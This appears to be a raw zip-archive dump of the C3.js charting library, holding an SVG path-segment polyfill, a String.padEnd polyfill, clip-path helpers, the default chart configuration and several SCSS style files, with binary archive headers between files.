        // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-InterfaceSVGAnimatedPathData
        Object.defineProperty(window.SVGPathElement.prototype, "pathSegList", {
            get: function () {
                if (!this._pathSegList)
                    this._pathSegList = new window.SVGPathSegList(this);
                return this._pathSegList;
            },
            enumerable: true
        });
        // FIXME: The following are not implemented and simply return window.SVGPathElement.pathSegList.
        Object.defineProperty(window.SVGPathElement.prototype, "normalizedPathSegList", {
            get: function () {
                return this.pathSegList;
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathElement.prototype, "animatedPathSegList", {
            get: function () {
                return this.pathSegList;
            },
            enumerable: true
        });
        Object.defineProperty(window.SVGPathElement.prototype, "animatedNormalizedPathSegList", {
            get: function () {
                return this.pathSegList;
            },
            enumerable: true
        });

        // Process any pending mutations to the path element and update the list as needed.
        // This should be the first call of all public functions and is needed because
        // MutationObservers are not synchronous so we can have pending asynchronous mutations.
        window.SVGPathSegList.prototype._checkPathSynchronizedToList = function () {
            this._updateListFromPathMutations(this._pathElementMutationObserver.takeRecords());
        }

        window.SVGPathSegList.prototype._updateListFromPathMutations = function (mutationRecords) {
            if (!this._pathElement)
                return;
            var hasPathMutations = false;
            mutationRecords.forEach(function (record) {
                if (record.attributeName == "d")
                    hasPathMutations = true;
            });
            if (hasPathMutations)
                this._list = this._parsePath(this._pathElement.getAttribute("d"));
        }

        // Serialize the list and update the path's 'd' attribute.
        window.SVGPathSegList.prototype._writeListToPath = function () {
            this._pathElementMutationObserver.disconnect();
            this._pathElement.setAttribute("d", window.SVGPathSegList._pathSegArrayAsString(this._list));
            this._pathElementMutationObserver.observe(this._pathElement, this._mutationObserverConfig);
        }

        // When a path segment changes the list needs to be synchronized back to the path element.
        window.SVGPathSegList.prototype.segmentChanged = function (pathSeg) {
            this._writeListToPath();
        }

        window.SVGPathSegList.prototype.clear = function () {
            this._checkPathSynchronizedToList();

            this._list.forEach(function (pathSeg) {
                pathSeg._owningPathSegList = null;
            });
            this._list = [];
            this._writeListToPath();
        }

        window.SVGPathSegList.prototype.initialize = function (newItem) {
            this._checkPathSynchronizedToList();

            this._list = [newItem];
            newItem._owningPathSegList = this;
            this._writeListToPath();
            return newItem;
        }

        window.SVGPathSegList.prototype._checkValidIndex = function (index) {
            if (isNaN(index) || index < 0 || index >= this.numberOfItems)
                throw "INDEX_SIZE_ERR";
        }

        window.SVGPathSegList.prototype.getItem = function (index) {
            this._checkPathSynchronizedToList();

            this._checkValidIndex(index);
            return this._list[index];
        }

        window.SVGPathSegList.prototype.insertItemBefore = function (newItem, index) {
            this._checkPathSynchronizedToList();

            // Spec: If the index is greater than or equal to numberOfItems, then the new item is appended to the end of the list.
            if (index > this.numberOfItems)
                index = this.numberOfItems;
            if (newItem._owningPathSegList) {
                // SVG2 spec says to make a copy.
                newItem = newItem.clone();
            }
            this._list.splice(index, 0, newItem);
            newItem._owningPathSegList = this;
            this._writeListToPath();
            return newItem;
        }

        window.SVGPathSegList.prototype.replaceItem = function (newItem, index) {
            this._checkPathSynchronizedToList();

            if (newItem._owningPathSegList) {
                // SVG2 spec says to make a copy.
                newItem = newItem.clone();
            }
            this._checkValidIndex(index);
            this._list[index] = newItem;
            newItem._owningPathSegList = this;
            this._writeListToPath();
            return newItem;
        }

        window.SVGPathSegList.prototype.removeItem = function (index) {
            this._checkPathSynchronizedToList();

            this._checkValidIndex(index);
            var item = this._list[index];
            this._list.splice(index, 1);
            this._writeListToPath();
            return item;
        }

        window.SVGPathSegList.prototype.appendItem = function (newItem) {
            this._checkPathSynchronizedToList();

            if (newItem._owningPathSegList) {
                // SVG2 spec says to make a copy.
                newItem = newItem.clone();
            }
            this._list.push(newItem);
            newItem._owningPathSegList = this;
            // TODO: Optimize this to just append to the existing attribute.
            this._writeListToPath();
            return newItem;
        }

        window.SVGPathSegList._pathSegArrayAsString = function (pathSegArray) {
            var string = "";
            var first = true;
            pathSegArray.forEach(function (pathSeg) {
                if (first) {
                    first = false;
                    string += pathSeg._asPathString();
                } else {
                    string += " " + pathSeg._asPathString();
                }
            });
            return string;
        }

        // This closely follows SVGPathParser::parsePath from Source/core/svg/SVGPathParser.cpp.
        window.SVGPathSegList.prototype._parsePath = function (string) {
            if (!string || string.length == 0)
                return [];

            var owningPathSegList = this;

            var Builder = function () {
                this.pathSegList = [];
            }

            Builder.prototype.appendSegment = function (pathSeg) {
                this.pathSegList.push(pathSeg);
            }

            var Source = function (string) {
                this._string = string;
                this._currentIndex = 0;
                this._endIndex = this._string.length;
                this._previousCommand = window.SVGPathSeg.PATHSEG_UNKNOWN;

                this._skipOptionalSpaces();
            }

            Source.prototype._isCurrentSpace = function () {
                var character = this._string[this._currentIndex];
                return character <= " " && (character == " " || character == "\n" || character == "\t" || character == "\r" || character == "\f");
            }

            Source.prototype._skipOptionalSpaces = function () {
                while (this._currentIndex < this._endIndex && this._isCurrentSpace())
                    this._currentIndex++;
                return this._currentIndex < this._endIndex;
            }

            Source.prototype._skipOptionalSpacesOrDelimiter = function () {
                if (this._currentIndex < this._endIndex && !this._isCurrentSpace() && this._string.charAt(this._currentIndex) != ",")
                    return false;
                if (this._skipOptionalSpaces()) {
                    if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == ",") {
                        this._currentIndex++;
                        this._skipOptionalSpaces();
                    }
                }
                return this._currentIndex < this._endIndex;
            }

            Source.prototype.hasMoreData = function () {
                return this._currentIndex < this._endIndex;
            }

            Source.prototype.peekSegmentType = function () {
                var lookahead = this._string[this._currentIndex];
                return this._pathSegTypeFromChar(lookahead);
            }

            Source.prototype._pathSegTypeFromChar = function (lookahead) {
                switch (lookahead) {
                case "Z":
                case "z":
                    return window.SVGPathSeg.PATHSEG_CLOSEPATH;
                case "M":
                    return window.SVGPathSeg.PATHSEG_MOVETO_ABS;
                case "m":
                    return window.SVGPathSeg.PATHSEG_MOVETO_REL;
                case "L":
                    return window.SVGPathSeg.PATHSEG_LINETO_ABS;
                case "l":
                    return window.SVGPathSeg.PATHSEG_LINETO_REL;
                case "C":
                    return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS;
                case "c":
                    return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL;
                case "Q":
                    return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS;
                case "q":
                    return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL;
                case "A":
                    return window.SVGPathSeg.PATHSEG_ARC_ABS;
                case "a":
                    return window.SVGPathSeg.PATHSEG_ARC_REL;
                case "H":
                    return window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS;
                case "h":
                    return window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL;
                case "V":
                    return window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS;
                case "v":
                    return window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL;
                case "S":
                    return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS;
                case "s":
                    return window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL;
                case "T":
                    return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS;
                case "t":
                    return window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL;
                default:
                    return window.SVGPathSeg.PATHSEG_UNKNOWN;
                }
            }

            Source.prototype._nextCommandHelper = function (lookahead, previousCommand) {
                // Check for remaining coordinates in the current command.
                if ((lookahead == "+" || lookahead == "-" || lookahead == "." || (lookahead >= "0" && lookahead <= "9")) && previousCommand != window.SVGPathSeg.PATHSEG_CLOSEPATH) {
                    if (previousCommand == window.SVGPathSeg.PATHSEG_MOVETO_ABS)
                        return window.SVGPathSeg.PATHSEG_LINETO_ABS;
                    if (previousCommand == window.SVGPathSeg.PATHSEG_MOVETO_REL)
                        return window.SVGPathSeg.PATHSEG_LINETO_REL;
                    return previousCommand;
                }
                return window.SVGPathSeg.PATHSEG_UNKNOWN;
            }

            Source.prototype.initialCommandIsMoveTo = function () {
                // If the path is empty it is still valid, so return true.
                if (!this.hasMoreData())
                    return true;
                var command = this.peekSegmentType();
                // Path must start with moveTo.
                return command == window.SVGPathSeg.PATHSEG_MOVETO_ABS || command == window.SVGPathSeg.PATHSEG_MOVETO_REL;
            }

            // Parse a number from an SVG path. This very closely follows genericParseNumber(...) from Source/core/svg/SVGParserUtilities.cpp.
            // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-PathDataBNF
            Source.prototype._parseNumber = function () {
                var exponent = 0;
                var integer = 0;
                var frac = 1;
                var decimal = 0;
                var sign = 1;
                var expsign = 1;

                var startIndex = this._currentIndex;

                this._skipOptionalSpaces();

                // Read the sign.
                if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == "+")
                    this._currentIndex++;
                else if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == "-") {
                    this._currentIndex++;
                    sign = -1;
                }

                if (this._currentIndex == this._endIndex || ((this._string.charAt(this._currentIndex) < "0" || this._string.charAt(this._currentIndex) > "9") && this._string.charAt(this._currentIndex) !=
                        "."))
                    // The first character of a number must be one of [0-9+-.].
                    return undefined;

                // Read the integer part, build right-to-left.
                var startIntPartIndex = this._currentIndex;
                while (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) >= "0" && this._string.charAt(this._currentIndex) <= "9")
                    this._currentIndex++; // Advance to first non-digit.

                if (this._currentIndex != startIntPartIndex) {
                    var scanIntPartIndex = this._currentIndex - 1;
                    var multiplier = 1;
                    while (scanIntPartIndex >= startIntPartIndex) {
                        integer += multiplier * (this._string.charAt(scanIntPartIndex--) - "0");
                        multiplier *= 10;
                    }
                }

                // Read the decimals.
                if (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) == ".") {
                    this._currentIndex++;

                    // There must be a least one digit following the .
                    if (this._currentIndex >= this._endIndex || this._string.charAt(this._currentIndex) < "0" || this._string.charAt(this._currentIndex) > "9")
                        return undefined;
                    while (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) >= "0" && this._string.charAt(this._currentIndex) <= "9") {
                        frac *= 10;
                        decimal += (this._string.charAt(this._currentIndex) - "0") / frac;
                        this._currentIndex += 1;
                    }
                }

                // Read the exponent part.
                if (this._currentIndex != startIndex && this._currentIndex + 1 < this._endIndex && (this._string.charAt(this._currentIndex) == "e" || this._string.charAt(this._currentIndex) ==
                        "E") && (this._string.charAt(this._currentIndex + 1) != "x" && this._string.charAt(this._currentIndex + 1) != "m")) {
                    this._currentIndex++;

                    // Read the sign of the exponent.
                    if (this._string.charAt(this._currentIndex) == "+") {
                        this._currentIndex++;
                    } else if (this._string.charAt(this._currentIndex) == "-") {
                        this._currentIndex++;
                        expsign = -1;
                    }

                    // There must be an exponent.
                    if (this._currentIndex >= this._endIndex || this._string.charAt(this._currentIndex) < "0" || this._string.charAt(this._currentIndex) > "9")
                        return undefined;

                    while (this._currentIndex < this._endIndex && this._string.charAt(this._currentIndex) >= "0" && this._string.charAt(this._currentIndex) <= "9") {
                        exponent *= 10;
                        exponent += (this._string.charAt(this._currentIndex) - "0");
                        this._currentIndex++;
                    }
                }

                var number = integer + decimal;
                number *= sign;

                if (exponent)
                    number *= Math.pow(10, expsign * exponent);

                if (startIndex == this._currentIndex)
                    return undefined;

                this._skipOptionalSpacesOrDelimiter();

                return number;
            }

            Source.prototype._parseArcFlag = function () {
                if (this._currentIndex >= this._endIndex)
                    return undefined;
                var flag = false;
                var flagChar = this._string.charAt(this._currentIndex++);
                if (flagChar == "0")
                    flag = false;
                else if (flagChar == "1")
                    flag = true;
                else
                    return undefined;

                this._skipOptionalSpacesOrDelimiter();
                return flag;
            }

            Source.prototype.parseSegment = function () {
                var lookahead = this._string[this._currentIndex];
                var command = this._pathSegTypeFromChar(lookahead);
                if (command == window.SVGPathSeg.PATHSEG_UNKNOWN) {
                    // Possibly an implicit command. Not allowed if this is the first command.
                    if (this._previousCommand == window.SVGPathSeg.PATHSEG_UNKNOWN)
                        return null;
                    command = this._nextCommandHelper(lookahead, this._previousCommand);
                    if (command == window.SVGPathSeg.PATHSEG_UNKNOWN)
                        return null;
                } else {
                    this._currentIndex++;
                }

                this._previousCommand = command;

                switch (command) {
                case window.SVGPathSeg.PATHSEG_MOVETO_REL:
                    return new window.SVGPathSegMovetoRel(owningPathSegList, this._parseNumber(), this._parseNumber());
                case window.SVGPathSeg.PATHSEG_MOVETO_ABS:
                    return new window.SVGPathSegMovetoAbs(owningPathSegList, this._parseNumber(), this._parseNumber());
                case window.SVGPathSeg.PATHSEG_LINETO_REL:
                    return new window.SVGPathSegLinetoRel(owningPathSegList, this._parseNumber(), this._parseNumber());
                case window.SVGPathSeg.PATHSEG_LINETO_ABS:
                    return new window.SVGPathSegLinetoAbs(owningPathSegList, this._parseNumber(), this._parseNumber());
                case window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL:
                    return new window.SVGPathSegLinetoHorizontalRel(owningPathSegList, this._parseNumber());
                case window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS:
                    return new window.SVGPathSegLinetoHorizontalAbs(owningPathSegList, this._parseNumber());
                case window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL:
                    return new window.SVGPathSegLinetoVerticalRel(owningPathSegList, this._parseNumber());
                case window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS:
                    return new window.SVGPathSegLinetoVerticalAbs(owningPathSegList, this._parseNumber());
                case window.SVGPathSeg.PATHSEG_CLOSEPATH:
                    this._skipOptionalSpaces();
                    return new window.SVGPathSegClosePath(owningPathSegList);
                case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL:
                    var points = {
                        x1: this._parseNumber(),
                        y1: this._parseNumber(),
                        x2: this._parseNumber(),
                        y2: this._parseNumber(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegCurvetoCubicRel(owningPathSegList, points.x, points.y, points.x1, points.y1, points.x2, points.y2);
                case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS:
                    var points = {
                        x1: this._parseNumber(),
                        y1: this._parseNumber(),
                        x2: this._parseNumber(),
                        y2: this._parseNumber(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegCurvetoCubicAbs(owningPathSegList, points.x, points.y, points.x1, points.y1, points.x2, points.y2);
                case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL:
                    var points = {
                        x2: this._parseNumber(),
                        y2: this._parseNumber(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegCurvetoCubicSmoothRel(owningPathSegList, points.x, points.y, points.x2, points.y2);
                case window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS:
                    var points = {
                        x2: this._parseNumber(),
                        y2: this._parseNumber(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegCurvetoCubicSmoothAbs(owningPathSegList, points.x, points.y, points.x2, points.y2);
                case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL:
                    var points = {
                        x1: this._parseNumber(),
                        y1: this._parseNumber(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegCurvetoQuadraticRel(owningPathSegList, points.x, points.y, points.x1, points.y1);
                case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS:
                    var points = {
                        x1: this._parseNumber(),
                        y1: this._parseNumber(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegCurvetoQuadraticAbs(owningPathSegList, points.x, points.y, points.x1, points.y1);
                case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL:
                    return new window.SVGPathSegCurvetoQuadraticSmoothRel(owningPathSegList, this._parseNumber(), this._parseNumber());
                case window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS:
                    return new window.SVGPathSegCurvetoQuadraticSmoothAbs(owningPathSegList, this._parseNumber(), this._parseNumber());
                case window.SVGPathSeg.PATHSEG_ARC_REL:
                    var points = {
                        x1: this._parseNumber(),
                        y1: this._parseNumber(),
                        arcAngle: this._parseNumber(),
                        arcLarge: this._parseArcFlag(),
                        arcSweep: this._parseArcFlag(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegArcRel(owningPathSegList, points.x, points.y, points.x1, points.y1, points.arcAngle, points.arcLarge, points.arcSweep);
                case window.SVGPathSeg.PATHSEG_ARC_ABS:
                    var points = {
                        x1: this._parseNumber(),
                        y1: this._parseNumber(),
                        arcAngle: this._parseNumber(),
                        arcLarge: this._parseArcFlag(),
                        arcSweep: this._parseArcFlag(),
                        x: this._parseNumber(),
                        y: this._parseNumber()
                    };
                    return new window.SVGPathSegArcAbs(owningPathSegList, points.x, points.y, points.x1, points.y1, points.arcAngle, points.arcLarge, points.arcSweep);
                default:
                    throw "Unknown path seg type."
                }
            }

            var builder = new Builder();
            var source = new Source(string);

            if (!source.initialCommandIsMoveTo())
                return [];
            while (source.hasMoreData()) {
                var pathSeg = source.parseSegment();
                if (!pathSeg)
                    return [];
                builder.appendSegment(pathSeg);
            }

            return builder.pathSegList;
        }
    }
}());

// String.padEnd polyfill for IE11
//
// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padEnd
if (!String.prototype.padEnd) {
    String.prototype.padEnd = function padEnd(targetLength, padString) {
        targetLength = targetLength >> 0; //floor if number or convert non-number to 0;
        padString = String((typeof padString !== 'undefined' ? padString : ' '));
        if (this.length > targetLength) {
            return String(this);
        } else {
            targetLength = targetLength - this.length;
            if (targetLength > padString.length) {
                padString += padString.repeat(targetLength / padString.length); //append to original to ensure we are longer than needed
            }
            return String(this) + padString.slice(0, targetLength);
        }
    };
}

/* jshint ignore:end */
PKK|�\�n��	�	clip.jsnu�[���import { ChartInternal } from './core';

ChartInternal.prototype.getClipPath = function (id) {
    var isIE9 = window.navigator.appVersion.toLowerCase().indexOf("msie 9.") >= 0;
    return "url(" + (isIE9 ? "" : document.URL.split('#')[0]) + "#" + id + ")";
};
ChartInternal.prototype.appendClip = function (parent, id) {
    return parent.append("clipPath").attr("id", id).append("rect");
};
ChartInternal.prototype.getAxisClipX = function (forHorizontal) {
    // axis line width + padding for left
    var left = Math.max(30, this.margin.left);
    return forHorizontal ? -(1 + left) : -(left - 1);
};
ChartInternal.prototype.getAxisClipY = function (forHorizontal) {
    return forHorizontal ? -20 : -this.margin.top;
};
ChartInternal.prototype.getXAxisClipX = function () {
    var $$ = this;
    return $$.getAxisClipX(!$$.config.axis_rotated);
};
ChartInternal.prototype.getXAxisClipY = function () {
    var $$ = this;
    return $$.getAxisClipY(!$$.config.axis_rotated);
};
ChartInternal.prototype.getYAxisClipX = function () {
    var $$ = this;
    return $$.config.axis_y_inner ? -1 : $$.getAxisClipX($$.config.axis_rotated);
};
ChartInternal.prototype.getYAxisClipY = function () {
    var $$ = this;
    return $$.getAxisClipY($$.config.axis_rotated);
};
ChartInternal.prototype.getAxisClipWidth = function (forHorizontal) {
    var $$ = this,
        left = Math.max(30, $$.margin.left),
        right = Math.max(30, $$.margin.right);
    // width + axis line width + padding for left/right
    return forHorizontal ? $$.width + 2 + left + right : $$.margin.left + 20;
};
ChartInternal.prototype.getAxisClipHeight = function (forHorizontal) {
    // less than 20 is not enough to show the axis label 'outer' without legend
    return (forHorizontal ? this.margin.bottom : (this.margin.top + this.height)) + 20;
};
ChartInternal.prototype.getXAxisClipWidth = function () {
    var $$ = this;
    return $$.getAxisClipWidth(!$$.config.axis_rotated);
};
ChartInternal.prototype.getXAxisClipHeight = function () {
    var $$ = this;
    return $$.getAxisClipHeight(!$$.config.axis_rotated);
};
ChartInternal.prototype.getYAxisClipWidth = function () {
    var $$ = this;
    return $$.getAxisClipWidth($$.config.axis_rotated) + ($$.config.axis_y_inner ? 20 : 0);
};
ChartInternal.prototype.getYAxisClipHeight = function () {
    var $$ = this;
    return $$.getAxisClipHeight($$.config.axis_rotated);
};
PKK|�\�N�a_#_#	config.jsnu�[���import { ChartInternal } from './core';
import { isDefined } from './util';

ChartInternal.prototype.getDefaultConfig = function () {
    var config = {
        bindto: '#chart',
        svg_classname: undefined,
        size_width: undefined,
        size_height: undefined,
        padding_left: undefined,
        padding_right: undefined,
        padding_top: undefined,
        padding_bottom: undefined,
        resize_auto: true,
        zoom_enabled: false,
        zoom_initialRange: undefined,
        zoom_type: 'scroll',
        zoom_disableDefaultBehavior: false,
        zoom_privileged: false,
        zoom_rescale: false,
        zoom_onzoom: function () {},
        zoom_onzoomstart: function () {},
        zoom_onzoomend: function () {},
        zoom_x_min: undefined,
        zoom_x_max: undefined,
        interaction_brighten: true,
        interaction_enabled: true,
        onmouseover: function () {},
        onmouseout: function () {},
        onresize: function () {},
        onresized: function () {},
        oninit: function () {},
        onrendered: function () {},
        transition_duration: 350,
        data_x: undefined,
        data_xs: {},
        data_xFormat: '%Y-%m-%d',
        data_xLocaltime: true,
        data_xSort: true,
        data_idConverter: function (id) { return id; },
        data_names: {},
        data_classes: {},
        data_groups: [],
        data_axes: {},
        data_type: undefined,
        data_types: {},
        data_labels: {},
        data_order: 'desc',
        data_regions: {},
        data_color: undefined,
        data_colors: {},
        data_hide: false,
        data_filter: undefined,
        data_selection_enabled: false,
        data_selection_grouped: false,
        data_selection_isselectable: function () { return true; },
        data_selection_multiple: true,
        data_selection_draggable: false,
        data_onclick: function () {},
        data_onmouseover: function () {},
        data_onmouseout: function () {},
        data_onselected: function () {},
        data_onunselected: function () {},
        data_url: undefined,
        data_headers: undefined,
        data_json: undefined,
        data_rows: undefined,
        data_columns: undefined,
        data_mimeType: undefined,
        data_keys: undefined,
        // configuration for no plot-able data supplied.
        data_empty_label_text: "",
        // subchart
        subchart_show: false,
        subchart_size_height: 60,
        subchart_axis_x_show: true,
        subchart_onbrush: function () {},
        // color
        color_pattern: [],
        color_threshold: {},
        // legend
        legend_show: true,
        legend_hide: false,
        legend_position: 'bottom',
        legend_inset_anchor: 'top-left',
        legend_inset_x: 10,
        legend_inset_y: 0,
        legend_inset_step: undefined,
        legend_item_onclick: undefined,
        legend_item_onmouseover: undefined,
        legend_item_onmouseout: undefined,
        legend_equally: false,
        legend_padding: 0,
        legend_item_tile_width: 10,
        legend_item_tile_height: 10,
        // axis
        axis_rotated: false,
        axis_x_show: true,
        axis_x_type: 'indexed',
        axis_x_localtime: true,
        axis_x_categories: [],
        axis_x_tick_centered: false,
        axis_x_tick_format: undefined,
        axis_x_tick_culling: {},
        axis_x_tick_culling_max: 10,
        axis_x_tick_count: undefined,
        axis_x_tick_fit: true,
        axis_x_tick_values: null,
        axis_x_tick_rotate: 0,
        axis_x_tick_outer: true,
        axis_x_tick_multiline: true,
        axis_x_tick_multilineMax: 0,
        axis_x_tick_width: null,
        axis_x_max: undefined,
        axis_x_min: undefined,
        axis_x_padding: {},
        axis_x_height: undefined,
        axis_x_selection: undefined,
        axis_x_label: {},
        axis_x_inner: undefined,
        axis_y_show: true,
        axis_y_type: undefined,
        axis_y_max: undefined,
        axis_y_min: undefined,
        axis_y_inverted: false,
        axis_y_center: undefined,
        axis_y_inner: undefined,
        axis_y_label: {},
        axis_y_tick_format: undefined,
        axis_y_tick_outer: true,
        axis_y_tick_values: null,
        axis_y_tick_rotate: 0,
        axis_y_tick_count: undefined,
        axis_y_tick_time_type: undefined,
        axis_y_tick_time_interval: undefined,
        axis_y_padding: {},
        axis_y_default: undefined,
        axis_y2_show: false,
        axis_y2_max: undefined,
        axis_y2_min: undefined,
        axis_y2_inverted: false,
        axis_y2_center: undefined,
        axis_y2_inner: undefined,
        axis_y2_label: {},
        axis_y2_tick_format: undefined,
        axis_y2_tick_outer: true,
        axis_y2_tick_values: null,
        axis_y2_tick_count: undefined,
        axis_y2_padding: {},
        axis_y2_default: undefined,
        // grid
        grid_x_show: false,
        grid_x_type: 'tick',
        grid_x_lines: [],
        grid_y_show: false,
        // not used
        // grid_y_type: 'tick',
        grid_y_lines: [],
        grid_y_ticks: 10,
        grid_focus_show: true,
        grid_lines_front: true,
        // point - point of each data
        point_show: true,
        point_r: 2.5,
        point_sensitivity: 10,
        point_focus_expand_enabled: true,
        point_focus_expand_r: undefined,
        point_select_r: undefined,
        // line
        line_connectNull: false,
        line_step_type: 'step',
        // bar
        bar_width: undefined,
        bar_width_ratio: 0.6,
        bar_width_max: undefined,
        bar_zerobased: true,
        bar_space: 0,
        // area
        area_zerobased: true,
        area_above: false,
        // pie
        pie_label_show: true,
        pie_label_format: undefined,
        pie_label_threshold: 0.05,
        pie_label_ratio: undefined,
        pie_expand: {},
        pie_expand_duration: 50,
        // gauge
        gauge_fullCircle: false,
        gauge_label_show: true,
        gauge_labelLine_show: true,
        gauge_label_format: undefined,
        gauge_min: 0,
        gauge_max: 100,
        gauge_startingAngle: -1 * Math.PI/2,
        gauge_label_extents: undefined,
        gauge_units: undefined,
        gauge_width: undefined,
        gauge_arcs_minWidth: 5,
        gauge_expand: {},
        gauge_expand_duration: 50,
        // donut
        donut_label_show: true,
        donut_label_format: undefined,
        donut_label_threshold: 0.05,
        donut_label_ratio: undefined,
        donut_width: undefined,
        donut_title: "",
        donut_expand: {},
        donut_expand_duration: 50,
        // spline
        spline_interpolation_type: 'cardinal',
        // region - region to change style
        regions: [],
        // tooltip - show when mouseover on each data
        tooltip_show: true,
        tooltip_grouped: true,
        tooltip_order: undefined,
        tooltip_format_title: undefined,
        tooltip_format_name: undefined,
        tooltip_format_value: undefined,
        tooltip_position: undefined,
        tooltip_contents: function (d, defaultTitleFormat, defaultValueFormat, color) {
            return this.getTooltipContent ? this.getTooltipContent(d, defaultTitleFormat, defaultValueFormat, color) : '';
        },
        tooltip_init_show: false,
        tooltip_init_x: 0,
        tooltip_init_position: {top: '0px', left: '50px'},
        tooltip_onshow: function () {},
        tooltip_onhide: function () {},
        // title
        title_text: undefined,
        title_padding: {
            top: 0,
            right: 0,
            bottom: 0,
            left: 0
        },
        title_position: 'top-center',
    };

    Object.keys(this.additionalConfig).forEach(function (key) {
        config[key] = this.additionalConfig[key];
    }, this);

    return config;
};
ChartInternal.prototype.additionalConfig = {};

ChartInternal.prototype.loadConfig = function (config) {
    var this_config = this.config, target, keys, read;
    function find() {
        var key = keys.shift();
//        console.log("key =>", key, ", target =>", target);
        if (key && target && typeof target === 'object' && key in target) {
            target = target[key];
            return find();
        }
        else if (!key) {
            return target;
        }
        else {
            return undefined;
        }
    }
    Object.keys(this_config).forEach(function (key) {
        target = config;
        keys = key.split('_');
        read = find();
//        console.log("CONFIG : ", key, read);
        if (isDefined(read)) {
            this_config[key] = read;
        }
    });
};
PKK|�\�®*$$scss/chart.scssnu�[���.c3 svg {
  font: 10px sans-serif;
  -webkit-tap-highlight-color: rgba(0,0,0,0);
}
.c3 path, .c3 line {
  fill: none;
  stroke: #000;
}
.c3 text {
  -webkit-user-select: none;
     -moz-user-select: none;
          user-select: none;
}

.c3-legend-item-tile,
.c3-xgrid-focus,
.c3-ygrid,
.c3-event-rect,
.c3-bars path {
  shape-rendering: crispEdges;
}

.c3-chart-arc path {
  stroke: #fff;
}

.c3-chart-arc rect {
    stroke: white;
    stroke-width: 1;
}

.c3-chart-arc text {
  fill: #fff;
  font-size: 13px;
}
PKK|�\�b-Bscss/tooltip.scssnu�[���.c3-tooltip-container {
  z-index: 10;
}
.c3-tooltip {
  border-collapse:collapse;
  border-spacing:0;
  background-color:#fff;
  empty-cells:show;
  -webkit-box-shadow: 7px 7px 12px -9px rgb(119,119,119);
     -moz-box-shadow: 7px 7px 12px -9px rgb(119,119,119);
          box-shadow: 7px 7px 12px -9px rgb(119,119,119);
  opacity: 0.9;
}
.c3-tooltip tr {
  border:1px solid #CCC;
}
.c3-tooltip th {
  background-color: #aaa;
  font-size:14px;
  padding:2px 5px;
  text-align:left;
  color:#FFF;
}
.c3-tooltip td {
  font-size:13px;
  padding: 3px 6px;
  background-color:#fff;
  border-left:1px dotted #999;
}
.c3-tooltip td > span {
  display: inline-block;
  width: 10px;
  height: 10px;
  margin-right: 6px;
}
.c3-tooltip td.value{
  text-align: right;
}
PKK|�\��scss/axis.scssnu�[���.c3-axis-x .tick {
}
.c3-axis-x-label {
}

.c3-axis-y .tick {
}
.c3-axis-y-label {
}

.c3-axis-y2 .tick {
}
.c3-axis-y2-label {
}
PKK|�\�Ah��scss/grid.scssnu�[���.c3-grid line {
  stroke: #aaa;
}
.c3-grid text {
  fill: #aaa;
}
.c3-xgrid, .c3-ygrid {
  stroke-dasharray: 3 3;
}
.c3-xgrid-focus {
}
PKK|�\mQ�7==
scss/arc.scssnu�[���.c3-chart-arcs-title {
  dominant-baseline: middle;
  font-size: 1.3em;
}

.c3-chart-arcs .c3-chart-arcs-background {
  fill: #e0e0e0;
  stroke: #FFF;
}
.c3-chart-arcs .c3-chart-arcs-gauge-unit {
  fill: #000;
  font-size: 16px;
}
.c3-chart-arcs .c3-chart-arcs-gauge-max {
  fill: #777;
}
.c3-chart-arcs .c3-chart-arcs-gauge-min {
  fill: #777;
}

.c3-chart-arc .c3-gauge-value {
  fill: #000;
/*  font-size: 28px !important;*/
}

.c3-chart-arc.c3-target g path {
  opacity: 1;
}

.c3-chart-arc.c3-target.c3-focused g path {
  opacity: 1;
}
PKK|�\t>ȯ��scss/point.scssnu�[���.c3-circle._expanded_ {
  stroke-width: 1px;
  stroke: white;
}
.c3-selected-circle {
  fill: white;
  stroke-width: 2px;
}
